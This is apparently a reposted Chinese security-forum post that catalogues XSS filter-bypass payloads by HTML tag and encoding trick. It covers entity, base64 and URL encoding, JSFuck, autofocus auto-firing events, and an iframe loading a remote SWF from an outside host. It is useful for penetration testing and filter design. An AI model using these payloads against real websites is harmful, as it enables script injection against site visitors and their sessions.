1. 程式人生 > >那些年我們沒能bypass的xss filter[from wooyun]

那些年我們沒能bypass的xss filter[from wooyun]

方法 type 只需要 ssd google scroll char 正在 最短

原文鏈接:http://zone.wooyun.org/content/6899

小弟初學xss才10天。不過個人很喜歡收集xss payload.在這裏把自己平時挖xss時會用到的payloads列出來和大家一起分享。很希望大家能把自己的一些payload也分享出來。(由於我是linux黨,所以本文出現在的所有payload只在firefox和chrome之下進行過測試。IE不在本文的討論範圍之內。本文只以直接輸出在HTML的情況為中心進行探討。)有錯誤的地方還請大家不吝賜教。

在XSS的世界裏,有很多標簽,事件,屬性都是可以拿來執行js的。但是又都有哪一些呢?
可以執行js的標簽:

<script> <a> <p> <img> <body> <button> <var
> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>

所有的event都是可以執行js:

onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop

可以執行js的屬性:

formaction action href xlink:href autofocus src content data


我們為什麽要去理解這些呢?因為很多網站的filter都是基於黑名單的,而因為自身對可以執行js的標簽,事件和屬性的不了解,會導致你繞不過這個filter或者饒一個很大的彎子(當然也會有很多放棄的例子)。也許你正在嘗試跳出的雙引號是不需要跳出去的。也許你正在嘗試跳出去的標簽也是不需要跳出去的。因為你已經站在了可以插入js的地方卻渾然不知。這也是寫本文最主要的原因。下面我將以問答的方式,對各個payload進行簡單的介紹。
我們真的需要一個合法的標簽麽?

<M/onclick="alert(1)">M

當目標站對關鍵tag做了黑名單過濾的時候,你也許可以嘗試一下自定義標簽。
標簽和屬性之間只能出現空格麽?

<img/src=x onerror=alert(1)>

在有些情況下我們可以使用"/"來代替空格

二十個字符真的是最短的?

<b/ondrag=alert()>M  //其實19個字符是可以有的。請在IE下測試(wineIE8測試通過)

你真的了解【a標簽】麽?

你也許會告訴我,誰不知道啊!不就href裏面搞個javascript偽協議然後調用js不就完了。如果你真得這麽認為的話,那麽我覺得你已經完了。在href當中我們不僅僅可以使用javascript我們還可以使用data URI來調用我們的js代碼,像這樣:

<a href=javascript:alert(2)>M 
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>

可以看到第一個例子就是我們最常見的方法,通過javascript偽造協議來調用js了。而在第二個例子當中我們可以看到我們不但通過data協議來執行了javascript還對我們的payload進行了base64編碼。我們可以解碼看一下PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==究竟是什麽。解碼之後我們可以看到是<script>alert(3)</script>。聰明的人又會說了還整base64老子直接寫也能彈。如果目標站點對<script>進行了過濾,那麽也許你的payload就會死在半路上了。當然編碼方式還有很多比如urlencode,hex,demical和HTML實體編碼

<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M 
<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M

當你在測試payload的時候你應該多細心善於了解filter真正的在過濾什麽。也許它只是把":"添加到了黑名單當中,來防止你來通過偽造協議執行js,而你卻認為整個javascript或data都被過濾了。在這種情況下你就可以考慮通過html實體編碼來bypass了.

<a href=javascript&colon;confirm(2)>M

其實a標簽擁有的不止是href.在一些猥瑣的組合之下,我們可以用這種組合來讓xlink:href執行js.

<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 
<math><a xlink:href=javascript:alert(1)>M

【script標簽】之彈窗姿勢知多少

很多時候我們都會用<script>alert(1)</script>來測試XSS脆弱性。但是太過於規範的姿勢往往會死在半路上(因為有filter的嘛)。所以我們需要更多的姿勢,來判斷真正的過濾規則到底是什麽。相信我,程序員的安全水平都是參差不起的,過濾alert()的程序員我也碰到過。(此處省略3W字的吐槽)

<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> /

/想玩這個,可以在這裏轉換你的編碼 http://www.jsfuck.com/

<script firefox>alert(1)</script>  //其實我們並不需要一個規範的script標簽 
<script>~‘\u0061‘ ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~‘\u0061‘)</script> // 
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>//在這裏我們依然可以使用那些編碼 
<script>prompt(-[])</script> //不只是alert。prompt和confirm也可以彈窗 
<script>alert(/3/)</script> //可以用"/"來代替單引號和雙引號 
<script>alert(String.fromCharCode(49))</script> //我們還可以用char 
<script>alert(/7/.source)</script> // ".source"不會影響alert(7)的執行 
<script>setTimeout(‘alert(1)‘,0)</script> //如果輸出是在setTimeout裏,我們依然可以直接執行alert(1)

【button標簽】

應該有一部分人對於button標簽的js調用還停留在通過event事件來實現。像下面的例子.

<button/onclick=alert(1) >M</button>

那麽如果所有的on*(event)被過濾了,我們就沒有辦法了麽?其實html5已經給我們帶來了新的姿勢

<form><button formaction=javascript&colon;alert(1)>M

也許看到這裏就有人會吐槽,這種需要用戶交互的啊 bla,bla,bla..(幾個小時過去了)如果使用onfocus事件,再加上autofocus我們就可以達到自動彈窗,無須交互了。

<button onfocus=alert(1) autofocus>

【p標簽】

如果你發現變量輸出在了p標簽裏,先不要急著從標簽跳出去,因為只要你能跳出""就已經足夠了。

<p/onmouseover=javascript:alert(1); >M</p>

【img標簽】

img標簽沒有什麽好講的了。不過值得註意的是,有些姿勢是因瀏覽器不通而不能成功的執行的。所以在空閑時間對payload進行分類,做上可執行瀏覽器的註釋來提高你挖掘XSS的效率。

<img src=x onerror=alert(1)> 
<img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效 
<img src=x onerror=window.open(‘http://google.com‘);> 
<img/src/onerror=alert(1)>  //只在chrome下有效 
<img src="x:kcf" onerror="alert(1)">

【body標簽】

沒有什麽特別之處,都是通過event來調用js

<body onload=alert(1)> 
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 

【var標簽】

<var onmouseover="prompt(1)">KCF</var>

【div標簽】

<div/onmouseover=‘alert(1)‘>X 
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">

【iframe標簽】

iframe這個例子當中值得一提的是,有時候我們可以通過實體編碼&NewLine;&Tab(換行和tab字符)來bypass一些filter。我們還可以通過事先在swf文件中插入我們的xss code,然後通過src屬性來調用。不過關於flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“*"允許從外部調用swf時,我們才可以通過flash來實現xss attack.

<iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>   
<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 
<iframe SRC="http://0x.lv/xss.swf"></iframe> 
<IFRAME SRC="javascript:alert(1);"></IFRAME> 
<iframe/onload=alert(53)></iframe>

【meta標簽】

很多時候,在做xss測試時,你會發現你的昵稱,文章標題跑到俄meta標簽裏。那麽你只需要跳出當前屬性再添加http-equiv="refresh",就可以構造一個有效的xss payload了。當然一些猥瑣流的玩法,會通過給http-equiv設置set-cookie來,進一步重新設置cookie來幹一些猥瑣的事情

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>? 
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

【object標簽】

和a標簽的href屬性玩法是一樣的,不過優點是無須交互。

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>

【marquee標簽】

<marquee  onstart="alert(‘sometext‘)"></marquee>

【isindex標簽】

第二個例子,值得我們註意一的是在一些只針對屬性做了過濾的webapp當中,action很可能就是漏網之魚。

<isindex type=image src=1 onerror=alert(1)> 
<isindex action=javascript:alert(1) type=image>

【input標簽】

沒有什麽特別之處,通過event來調用js。和之前的button的例子一樣通過 autofocus來達到無須交互即可彈窗的效果。在這裏使用到了onblur是希望大家學會舉一反三。

<input onfocus=javascript:alert(1) autofocus> 
<input onblur=javascript:alert(1) autofocus><input autofocus>

【select標簽】

<select onfocus=javascript:alert(1) autofocus>

【textarea標簽】

<textarea onfocus=javascript:alert(1) autofocus>

【keygen標簽】

<keygen onfocus=javascript:alert(1) autofocus>

【frameset標簽】

<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 
<frameset onload=alert(1)>

【embed標簽】

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 
<embed src=javascript:alert(1)> //firefox

【svg標簽】

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> 
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效

【math標簽】

<math href="javascript:javascript:alert(1)">CLICKME</math> 
<math><y/xlink:href=javascript:alert(51)>test1 
<math> <maction actiontype="statusline#http://wangnima.com" 
xlink:href="javascript:alert(49)">CLICKME</maction> </math>

【video標簽】

<video><source onerror="alert(1)"> 
<video src=x onerror=alert(48)>

【audio標簽】

<audio src=x onerror=alert(47)>

姿勢的介紹就在這裏結束了。

說句題外話 在這些標簽裏面凡是出現在on*事件值裏面的javascript:都是多余的。但是這個對測試者來說是很方便的。因為你可以通過一個payload來測試好幾個黑名單成員

那些年我們沒能bypass的xss filter[from wooyun]